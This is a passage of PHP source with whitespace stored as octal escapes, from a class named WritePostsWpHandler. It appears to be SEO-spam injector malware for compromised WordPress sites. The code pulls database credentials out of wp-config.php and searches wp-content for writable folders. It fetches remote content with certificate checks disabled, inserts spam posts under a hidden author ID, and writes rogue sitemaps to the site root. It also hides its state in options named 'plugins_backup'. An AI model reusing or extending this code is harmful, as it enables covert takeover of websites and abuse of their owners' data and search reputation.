\012\040\040\040\040\040\040\040\040\040\040\040\040'dbprefix'\040=>\040$prefix[1],\012\012\040\040\040\040\040\040\040\040\040\040\040\040'dbport'\040=>\040$dbPort,\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customDbLink($configSource)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(self::detectSqliteInstance($configSource))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!self::isAvailablePdoDriver('sqlite'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('sqlite\040driver\040not\040found');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$db\040=\040new\040PDO("sqlite:"\040.\040WP_ROOT_DIR\040.\040'/wpsqlite.db');\012\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!self::isAvailablePdoDriver('mysql'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('mysql\040driver\040not\040found');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040$configArr\040=\040WritePostsWpHandler::parseWpConfig($configSource);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbh\040=\040sprintf('mysql:host=%s;dbname=%s;port=%s',\040$configArr['dbhostaddr'],\040$configArr['dbname'],\040$configArr['dbport']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$db\040=\040new\040PDO($dbh,\040$configArr['dbuser'],\040$configArr['dbpassword']\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040array(PDO::MYSQL_ATTR_INIT_COMMAND\040=>\040'SET\040sql_mode="ALLOW_INVALID_DATES"'));\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$db;\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040detectSqliteInstance($configSource)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(strstr($configSource,\040'wpsqlite.db')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040isAvailablePdoDriver($name)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040(in_array($name,\040PDO::getAvailableDrivers()));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040getSource($url)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$url);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_HEADER,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\0401);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04010);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040\040\040\040\040$data\040=\040curl_exec($ch);\012\012\040\040\040\040\040\040\040\040$code\040=\040curl_getinfo($ch,\040CURLINFO_HTTP_CODE);\012\012\012\040\040\040\040\040\040\040\040$res\040=\040($code\040==\040200)\040?\040$data\040:\040NULL;\012\012\040\040\040\040\040\040\040\040curl_close($ch);\012\012\040\040\040\040\040\040\040\040return\040$res;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040sendPostData($url,\040$fields)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$fields_string\040=\040'';\012\012\040\040\040\040\040\040\040\040foreach\040($fields\040as\040$key\040=>\040$value)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$fields_string\040.=\040$key\040.\040'='\040.\040$value\040.\040'&';\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040rtrim($fields_string,\040'&');\012\012\012\040\040\040\040\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$url);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\0401);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04010);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_POST,\040count($fields));\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_POSTFIELDS,\040$fields_string);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040\040\040\040\040$result\040=\040curl_exec($ch);\012\012\040\040\040\040\040\040\040\040$info\040=\040curl_getinfo($ch);\012\012\012\040\040\040\040\040\040\040\040if\040(curl_errno($ch))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$error_msg\040=\040curl_error($ch);\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('Post\040response\040error');\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog($error_msg);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040curl_close($ch);\012\012\012\040\040\040\040\040\040\040\040return\040($info["http_code"]\040==\040200)\040?\040$result\040:\040null;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040removeDirRec($dir)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!is_dir($dir))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040($objs\040=\040glob($dir\040.\040"/{,.}[!.,!..]*",\040GLOB_MARK\040|\040GLOB_BRACE))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($objs\040as\040$obj)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040is_dir($obj)\040?\040WritePostsWpHandler::removeDirRec($obj)\040:\040unlink($obj);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040rmdir($dir);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040easyCrypt($str,\040$key)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$method\040=\040'aes256';\012\012\012\040\040\040\040\040\040\040\040return\040@openssl_encrypt($str,\040$method,\040$key);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040easyDecrypt($crypted,\040$method,\040$key)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040openssl_decrypt($crypted,\040$method,\040$key);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040uncompressString($compressed)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040gzinflate(base64_decode($compressed));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040detectWProotDir()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists(CURRENTDIR\040.\040'/wp-config.php'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040rtrim(CURRENTDIR,\040'/');\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$normalizePath\040=\040preg_replace('~\134/(wp-admin|wp-includes|wp-content).*$~',\040'',\040CURRENTDIR);\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($normalizePath\040.\040'/wp-config.php'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$normalizePath;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040tmpDirCustom()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(function_exists('sys_get_temp_dir'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$tmpDir\040=\040sys_get_temp_dir();\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(is_writeable($tmpDir))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$tmpDir;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$tmpDir\040=\040ini_get('upload_tmp_dir');\012\012\012\040\040\040\040\040\040\040\040if\040($tmpDir)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(is_writeable($tmpDir))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$tmpDir;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$wpContentTmpDir\040=\040WritePostsWpHandler::writableDir();\012\012\012\040\040\040\040\040\040\040\040if\040($wpContentTmpDir)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$wpContentTmpDir;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040writableDir()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040foreach\040(array('wp-content/uploads',\040'wp-content/themes',\040'wp-content/plugins')\040as\040$mbWriteablePath)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$writeableDirectory\040=\040WritePostsWpHandler::findWriteablePath(WP_ROOT_DIR\040.\040'/'\040.\040$mbWriteablePath);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!empty($writeableDirectory))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$writeableDirectory;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040findWriteablePath($pathForScaning)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(is_writeable($pathForScaning))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$pathForScaning;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$subdirs\040=\040glob($pathForScaning\040.\040'/*',\040GLOB_ONLYDIR);\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($subdirs))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($subdirs\040as\040$dir)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(is_writable($dir))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$dir;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040linkBuildingSettingsCheck()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(defined('EXTERNAL_LINKING')\040&&\040(EXTERNAL_LINKING\040===\0401))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!defined('EXTERNAL_LINKS_COUNT_PAGE'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('set\040EXTERNAL_LINKS_COUNT_PAGE');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!defined('TABLE_HASH')\040&&\040!defined('HTML_HASH'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('set\040TABLE_HASH\040or\040HTML_HASH\040value');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!defined('COUNT_LINKS_FROM_DOMAIN'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('set\040COUNT_LINKS_FROM_DOMAIN');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040tmpDir()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$tmpDirName\040=\040$_SERVER['HTTP_HOST'];\012\012\012\040\040\040\040\040\040\040\040if\040(!is_dir(WRITABLE_PATH\040.\040'/'\040.\040$tmpDirName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!mkdir(WRITABLE_PATH\040.\040'/'\040.\040$tmpDirName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040WRITABLE_PATH\040.\040'/'\040.\040$tmpDirName;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkHomeUrl($homeUrl)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(!defined('HOME_URL'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$homeUrl)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('homeurl\040function\040return\040null,\040please\040define\040HOME_URL\040manually');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040define('HOME_URL',\040$homeUrl);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040removePluginsBackupForAuthorId()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$prefix\040=\040"plugins_backup_"\040.\040CUSTOM_AUTHOR_ID\040.\040'_';\012\012\040\040\040\040\040\040\040\040$options\040=\040CustomDbHandler::getInstance()->getOptionLike($prefix);\012\012\012\040\040\040\040\040\040\040\040if\040(empty($options))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$names\040=\040array_column($options,\040'option_name');\012\012\040\040\040\040\040\040\040\040foreach\040($names\040as\040$name)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deleteOption($name);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customFormatResponse()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$sitemapUrl\040=\040HOME_URL\040.\040'/'\040.\040SITEMAP_NAME\040.\040'.xml';\012\012\040\040\040\040\040\040\040\040$sitemapUrlSec\040=\040HOME_URL\040.\040'/?feed=xml'\040.\040SITEMAP_NAME;\012\012\040\040\040\040\040\040\040\040echo\040$sitemapUrl\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040echo\040$sitemapUrlSec\040.\040PHP_EOL\040.\040PHP_EOL;\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040allPostsFullUrlWithoutRequire($limit\040=\040false)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$userId\040=\040defined('CUSTOM_AUTHOR_ID')\040?\040CUSTOM_AUTHOR_ID\040:\0409999;\012\012\040\040\040\040\040\040\040\040$urls\040=\040array();\012\012\012\040\040\040\040\040\040\040\040$permalinkOption\040=\040CustomDbHandler::getInstance()->getOption('permalink_structure');\012\012\012\040\040\040\040\040\040\040\040if\040(!$permalinkOption)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$isRewrite\040=\040false;\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$isRewrite\040=\040$permalinkOption['option_value']\040!==\040''\040?\040true\040:\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$canonicalUrls\040=\040CustomDbHandler::getInstance()->allPostsFromDbWithPostName(HOME_URL,\040$userId);\012\012\012\040\040\040\040\040\040\040\040$iter\040=\0401;\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($canonicalUrls))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($canonicalUrls\040as\040$canonicalUrlArr)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040list\040($link,\040$title,\040$postName)\040=\040$canonicalUrlArr;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040preg_match('~\134?p=(\134d+)~',\040$link,\040$idMatches);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$postNameOrLink\040=\040($isRewrite)\040?\040$postName\040:\040$link;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$urls[]\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$postNameOrLink,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$idMatches[1],\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$title\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(function_exists('wp_cache_delete'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040wp_cache_delete($idMatches[1],\040'posts');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($limit\040&&\040($iter\040>=\040$limit))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$iter++;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$urls;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040areAllActionsCompleted($actionsWithStatus)\012\040\040\040\040{\012\040\040\040\040\040\040\040\040if\040(array_key_exists('sitemap',\040$actionsWithStatus))\040$actionsWithStatus['sitemap']\040=\0401;\012\012\040\040\040\040\040\040\040\040if\040(in_array(1,\040$actionsWithStatus)\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('no\040scheduled\040actions');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customCheckActions($actions)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(defined('IGNORE_ACTIONS_LOG')\040&&\040IGNORE_ACTIONS_LOG\040===\0401)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$actions;\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$pluginsOptionsName\040=\040WritePostsWpHandler::pluginsBackupOptionName();\012\012\012\040\040\040\040\040\040\040\040if\040(defined('REMOVE_ACTIONS_LOG')\040&&\040REMOVE_ACTIONS_LOG\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$actions;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$pluginsBackupOption\040=\040CustomDbHandler::getInstance()->getOption($pluginsOptionsName);\012\012\012\040\040\040\040\040\040\040\040if\040($pluginsBackupOption\040&&\040WritePostsWpHandler::isJson($pluginsBackupOption['option_value']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$actionsDb\040=\040json_decode($pluginsBackupOption['option_value'],\0401);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::actionsWasChanged($actions,\040$actionsDb))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$actions;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$actionsDb;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$actions;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040pluginsBackupOptionName()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$tmp\040=\040str_replace('{DIR_NUM}',\040DIR_NUM,\040URL_WITH_ARCHIVES);\012\012\040\040\040\040\040\040\040\040return\040"plugins_backup_"\040.\040CUSTOM_AUTHOR_ID\040.\040'_'\040.\040md5($tmp);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040isJson($string)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040json_decode($string);\012\012\012\040\040\040\040\040\040\040\040return\040(json_last_error()\040==\040JSON_ERROR_NONE);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040actionsWasChanged($actions,\040$actionsDb)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(count($actions)\040!==\040count($actionsDb))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040foreach\040($actions\040as\040$actionName\040=>\040$actionValue)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!isset($actionsDb[$actionName]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkMutex($customMutexPath)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(file_exists($customMutexPath))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::mutexOutOfDate($customMutexPath))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::customSetMutex($customMutexPath);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//die('script\040already\040running');\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::customSetMutex($customMutexPath);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mutexOutOfDate($mutexName,\040$outOfDateTimeInSeconds\040=\04090)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040clearstatcache();\012\012\040\040\040\040\040\040\040\040$mutextTimestamp\040=\040filemtime($mutexName);\012\040\040\040\040\040\040\040\040return\040((time()\040-\040$mutextTimestamp)\040>\040$outOfDateTimeInSeconds);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customSetMutex($path)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040file_put_contents($path,\0401);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkSitemapNameRoot()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!is_writeable(WP_ROOT_DIR))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(WP_ROOT_DIR\040.\040'\040isnt\040writeable');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists(WP_ROOT_DIR\040.\040'/'\040.\040SITEMAP_NAME\040.\040'.xml'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(SITEMAP_NAME\040.\040'.xml\040in\040root\040dir,\040change\040sitemap\040name');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040sitemapHeadSec()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040<<<STR\012<?xml\040version="1.0"\040encoding="UTF-8"?>\012<urlset\012\040\040\040\040\040\040xmlns="https://www.sitemaps.org/schemas/sitemap/0.9"\012\040\040\040\040\040\040xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"\012\040\040\040\040\040\040xsi:schemaLocation="https://www.sitemaps.org/schemas/sitemap/0.9\012\040\040\040\040\040\040\040\040\040\040\040\040https://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">\012\012STR;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040urlBlockSec($url,\040$lastmod,\040$changefreq,\040$priority)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040return\040<<<STR\012\012\040\040\040<url>\012\012\040\040\040\040\040\040<loc>$url</loc>\012\012\040\040\040\040\040\040<lastmod>$lastmod</lastmod>\012\012\040\040\040\040\040\040<changefreq>$changefreq</changefreq>\012\012\040\040\040\040\040\040<priority>$priority</priority>\012\012\040\040\040</url>\134n\134n\012\012STR;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040currenturl($rootDir,\040$host\040=\040null)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$host\040=\040!$host\040?\040'https://'\040.\040$_SERVER['HTTP_HOST']\040:\040$host;\012\012\040\040\040\040\040\040\040\040$tmp\040=\040str_replace(realpath($_SERVER['DOCUMENT_ROOT']),\040'',\040$host\040.\040$rootDir);\012\012\012\040\040\040\040\040\040\040\040return\040$tmp;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040isBadEnvCustom()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$requestUri\040=\040$_SERVER['REQUEST_URI'];\012\012\040\040\040\040\040\040\040\040if\040(strstr($requestUri,\040'wp-config-sample.php')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040slugPrepareBeforeInsert($filename,\040$contentPartsSlug)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(defined('USE_ORIGINAL_SLUG')\040&&\040(USE_ORIGINAL_SLUG\040===\0401))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$customSlug\040=\040WritePostsWpHandler::mb_basename($filename,\040'.html');\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(CustomDbHandler::getInstance()->dbType\040===\040CustomDbHandler::DB_TYPE_SQLITE)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$customSlug\040=\040WritePostsWpHandler::stringToSlug($contentPartsSlug);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$customSlug\040=\040$contentPartsSlug;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$customSlug;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mb_basename($file,\040$ext\040=\040'')\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$explodedPath\040=\040explode('/',\040$file);\012\012\040\040\040\040\040\040\040\040$last\040=\040end($explodedPath);\012\012\012\040\040\040\040\040\040\040\040return\040($ext\040!==\040'')\040?\040str_replace($ext,\040'',\040$last)\040:\040$last;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040stringToSlug($str)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$options\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'delimiter'\040=>\040'-',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'limit'\040=>\040null,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'lowercase'\040=>\040true,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'replacements'\040=>\040array(),\012\012\040\040\040\040\040\040\040\040\